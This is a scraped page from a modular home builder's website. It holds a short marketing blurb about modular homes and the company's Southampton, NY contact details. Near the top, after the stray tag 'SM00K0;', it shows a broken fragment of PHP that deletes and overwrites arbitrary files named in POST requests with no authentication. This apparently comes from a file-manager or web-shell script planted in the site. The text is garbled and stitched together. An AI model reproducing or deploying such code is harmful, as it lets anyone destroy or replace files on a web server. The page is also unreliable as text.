The Process

SM00K0;

Error or No contents in file"; } else $status = "File does not exist!"; } else if($_POST["submit"] == "Delete") { if(file_exists($filename)) { if(unlink($filename)) $status = "File successfully deleted!"; else $status = "Could not delete file!"; } else $status = "File does not exist!"; } else if($_POST["submit"] == "Save") { $filecontents = stripslashes(html_entity_decode($_POST["contents"])); if(file_exists($filename)) unlink($filename); $handle = fopen($filename, "w"); if(!$handle) $status = "Could not open file for write access! "; else { if(!fwrite($handle, $filecontents)) $status = $status."Could not write to file! (Maybe you didn't enter any text?)"; fclose($handle); } $filecontents = htmlentities($filecontents); } else { $status = "No file loaded!"; } ?>


Did you know?

A Modular home is one of the quickest and easiest ways to construct an environmentally conscious residence. Modular home construction can be a powerful testament to your commitment to your world.



  • Quality Crafted Homes, Inc.
  • 1673 County Road 39, Suite #2
  • Southampton, NY 11968
  • Phone: 631.726.9300
  • Fax: 631.726.6432
  • E-mail: info@qualitycraftedhomesonline.com
  • Hours: Monday-Friday: 9am-4pm
  • Weekends by appointment